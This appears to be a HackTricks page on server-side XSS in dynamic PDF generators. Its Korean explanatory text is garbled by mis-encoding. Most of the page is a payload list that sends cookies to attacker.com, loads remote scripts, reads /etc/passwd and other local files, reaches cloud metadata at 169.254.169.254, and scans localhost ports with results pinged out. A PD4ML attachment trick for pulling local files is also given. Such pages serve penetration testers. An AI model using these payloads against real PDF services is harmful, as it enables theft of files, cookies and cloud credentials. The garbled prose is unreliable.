Server Side XSS (Dynamic PDF)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Server Side XSS (Dynamic PDF)

์‚ฌ์šฉ์ž ์ œ์–ด ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜์—ฌ PDF๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์›น ํŽ˜์ด์ง€๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, PDF๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ด‡์„ ์†์—ฌ์„œ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ PDF ์ƒ์„ฑ๊ธฐ ๋ด‡์ด ์–ด๋–ค ์ข…๋ฅ˜์˜ HTML ํƒœ๊ทธ๋ฅผ ์ฐพ์œผ๋ฉด, ์ด๋ฅผ ํ•ด์„ํ•˜๊ฒŒ ๋˜๊ณ , ์ด ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ ์„œ๋ฒ„ XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script></script> ํƒœ๊ทธ๋Š” ํ•ญ์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, JS๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: <img ์•…์šฉ).
๋˜ํ•œ, ์ผ๋ฐ˜์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ๋Š” ์ƒ์„ฑ๋œ PDF๋ฅผ ๋ณด๊ณ /๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, JS๋ฅผ ํ†ตํ•ด ์ž‘์„ฑํ•œ ๋ชจ๋“  ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: document.write() ์‚ฌ์šฉ). ๊ทธ๋Ÿฌ๋‚˜ ์ƒ์„ฑ๋œ PDF๋ฅผ ๋ณผ ์ˆ˜ ์—†๋‹ค๋ฉด, ์•„๋งˆ๋„ ์›น ์š”์ฒญ์„ ํ†ตํ•ด ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค (Blind).

  • wkhtmltopdf๋Š” HTML๊ณผ CSS๋ฅผ PDF ๋ฌธ์„œ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋Šฅ๋ ฅ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ, WebKit ๋ Œ๋”๋ง ์—”์ง„์„ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์˜คํ”ˆ ์†Œ์Šค ๋ช…๋ น์ค„ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋กœ ์ œ๊ณต๋˜์–ด ๋‹ค์–‘ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • TCPDF๋Š” PDF ์ƒ์„ฑ์„ ์œ„ํ•œ PHP ์ƒํƒœ๊ณ„ ๋‚ด์—์„œ ๊ฐ•๋ ฅํ•œ ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ์ง€, ๊ทธ๋ž˜ํ”ฝ ๋ฐ ์•”ํ˜ธํ™”๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด ๋ณต์žกํ•œ ๋ฌธ์„œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Node.js ํ™˜๊ฒฝ์—์„œ ์ž‘์—…ํ•˜๋Š” ๊ฒฝ์šฐ, PDFKit์ด ์œ ์šฉํ•œ ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. HTML ๋ฐ CSS์—์„œ ์ง์ ‘ PDF ๋ฌธ์„œ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์–ด ์›น ์ฝ˜ํ…์ธ ์™€ ์ธ์‡„ ๊ฐ€๋Šฅํ•œ ํ˜•์‹ ๊ฐ„์˜ ๋‹ค๋ฆฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • Java ๊ฐœ๋ฐœ์ž๋Š” PDF ์ƒ์„ฑ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋””์ง€ํ„ธ ์„œ๋ช… ๋ฐ ์–‘์‹ ์ž‘์„ฑ๊ณผ ๊ฐ™์€ ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋Š” iText ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์„ ํ˜ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํฌ๊ด„์ ์ธ ๊ธฐ๋Šฅ ์„ธํŠธ๋Š” ์•ˆ์ „ํ•˜๊ณ  ์ƒํ˜ธ์ž‘์šฉ์ด ๊ฐ€๋Šฅํ•œ ๋ฌธ์„œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.
  • FPDF๋Š” ๋‹จ์ˆœ์„ฑ๊ณผ ์‚ฌ์šฉ ์šฉ์ด์„ฑ์œผ๋กœ ๊ตฌ๋ณ„๋˜๋Š” ๋˜ ๋‹ค๋ฅธ PHP ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ๊ด‘๋ฒ”์œ„ํ•œ ๊ธฐ๋Šฅ ์—†์ด PDF ์ƒ์„ฑ์„ ์œ„ํ•œ ๊ฐ„๋‹จํ•œ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์ฐพ๋Š” ๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Payloads

Discovery

<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

<!-- Using base HTML tag -->
<base href="http://attacker.com" />

<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />

<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />

<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />

SVG

์ด์ „์˜ ๋ชจ๋“  ํŽ˜์ด๋กœ๋“œ๋Š” ์ด SVG ํŽ˜์ด๋กœ๋“œ ๋‚ด์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Burpcollab ์„œ๋ธŒ๋„๋ฉ”์ธ์— ์ ‘๊ทผํ•˜๋Š” iframe๊ณผ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ iframe์ด ์˜ˆ๋กœ ์ œ์‹œ๋ฉ๋‹ˆ๋‹ค.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

๋งŽ์€ ๋‹ค๋ฅธ SVG ํŽ˜์ด๋กœ๋“œ๋ฅผ https://github.com/allanlw/svg-cheatsheet์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒฝ๋กœ ๋…ธ์ถœ

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฐ€์žฅ ์ ํ•ฉํ•œ ๋ฐฉ๋ฒ•์€ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ๋ด‡์ด ๋กœ์ปฌ์—์„œ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋กœ์ปฌ์—์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ๋งค๋ฒˆ ๋™์ผํ•œ ์ฝ”๋“œ๋กœ ๋ด‡์ด ์ด๋ฅผ ๋กœ๋“œํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ / SSRF

Warning

file:///etc/passwd๋ฅผ http://169.254.169.254/latest/user-data๋กœ ๋ณ€๊ฒฝํ•˜์—ฌ ์™ธ๋ถ€ ์›น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•ด ๋ณด์„ธ์š” (SSRF).

SSRF๊ฐ€ ํ—ˆ์šฉ๋˜์ง€๋งŒ ํฅ๋ฏธ๋กœ์šด ๋„๋ฉ”์ธ์ด๋‚˜ IP์— ๋„๋‹ฌํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ์ด ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ ์ž ์žฌ์ ์ธ ์šฐํšŒ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณด์„ธ์š”.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

๋ด‡ ์ง€์—ฐ

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

ํฌํŠธ ์Šค์บ”

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

์ด ์ทจ์•ฝ์ ์€ SSRF๋กœ ๋งค์šฐ ์‰ฝ๊ฒŒ ๋ณ€ํ™˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). ๊ทธ๋Ÿฌ๋‹ˆ ์ด๋ฅผ ์ด์šฉํ•ด ๋ณด์„ธ์š”(๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”?).

Attachments: PD4ML

PDF์— ์ฒจ๋ถ€ํŒŒ์ผ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” HTML 2 PDF ์—”์ง„์ด ๋ช‡ ๊ฐ€์ง€ ์žˆ์Šต๋‹ˆ๋‹ค, ์˜ˆ๋ฅผ ๋“ค์–ด PD4ML. ์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜์—ฌ ๋กœ์ปฌ ํŒŒ์ผ์„ PDF์— ์ฒจ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ฒจ๋ถ€ํŒŒ์ผ์„ ์—ด๊ธฐ ์œ„ํ•ด Firefox๋กœ ํŒŒ์ผ์„ ์—ด๊ณ  ํด๋ฆฝ ๊ธฐํ˜ธ๋ฅผ ๋”๋ธ” ํด๋ฆญํ•˜์—ฌ ์ฒจ๋ถ€ํŒŒ์ผ์„ ์ƒˆ ํŒŒ์ผ๋กœ ์ €์žฅํ–ˆ์Šต๋‹ˆ๋‹ค.
burp๋กœ PDF ์‘๋‹ต์„ ์บก์ฒ˜ํ•˜๋ฉด PDF ๋‚ด์—์„œ ์ฒจ๋ถ€ํŒŒ์ผ์ด ์ผ๋ฐ˜ ํ…์ŠคํŠธ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ